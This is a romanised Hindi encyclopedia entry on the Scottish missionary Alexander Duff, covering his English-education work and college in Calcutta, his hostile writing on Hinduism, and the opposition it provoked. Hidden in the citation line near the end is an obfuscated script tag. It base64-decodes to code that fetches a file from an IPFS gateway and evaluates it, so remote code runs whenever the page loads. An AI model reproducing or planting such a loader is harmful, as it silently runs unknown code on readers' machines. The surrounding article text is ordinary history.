रेवरेण्ड अलेक्ज़ेण्डर डफ़
revarend alekzendar daf 1830 se 1863 ee. tak kalakatta (vartaman kolakata) mean ek 'skatish presabiteriyan padari' raha tha. usane bharat mean aangrezi shiksha ka bahut prasar-prachar kiya. vah samaj sudhar ke karyoan mean bhi hamesha yogadan pradan karata tha. usaka bharat mean ane ka mukhy uddeshy yahaan par eesaee dharm ka prachar karana tha.
bharat agaman
sambhavat: 1823 ee. mean raja ramamohan ray ke anurodh par 'charch aauf skatalaind' ne daf ko bharat mean aangrezi shiksha ke prachar ke lie bheja tha. raja ramamohan ray ne usaka bhari svagat kiya aur unhian ki sahayata se daf ne 1830 ee. mean 'janaral asembalij instityooshan' namak ek aangrezi skool khola. kalantar mean is skool ne k aaulej ka roop dharan kar liya. pahale isaka nam 'daf k aaulej' tha, lekin bad mean 'skatish charch k aaulej' ho gaya.
eesaee dharm pracharak
daf ne bangal mean aangrezi shiksha ke prasar-prachar tatha samaj sudhar ke lie bahut kuchh kiya. usane bharat mean vishvavidyalayoan ki sthapana karane mean mahattvapoorn bhoomika ada ki. kalakatta vishvavidyalay khulane par vah usaki prabandh samiti ka arambhik sadasy raha. 1859 ee. mean kee varshoan tak vah 'bethoon sosaiti' ka adhyaksh raha. vah padari tha aur bharat mean eesaee dharm ke prachar ke uddeshy se aya tha.
dharmik tippani
apani pustak 'iandiya eand iandiyan mishans' mean usane hindoo dharm ke bare mean yahaan tak likh dala hai ki 'patit vyaktiyoan ke vikrit mastishk ne jin jhoothe dharmoan ki srishti ki, unamean hindoo dharm sabase age hai'. svabhavat: bharatiy vidvanoan aur am janata mean daf ke viruddh bhishan akraman paida ho gaya. keshavachandr sen tatha devendranath thakur ne daf ka k da virodh kiya. bangal ke kuchh padhe-likhe logoan ko hi vah eesaee banane mean saphal ho saka aur aant mean nirash hokar 1863 ee. mean svadesh vapas laut gaya.
nidhan
revarend alekzendar daf ki mrityu 1878 ee. mean huee.
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tika tippani aur sandarbh
bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 180 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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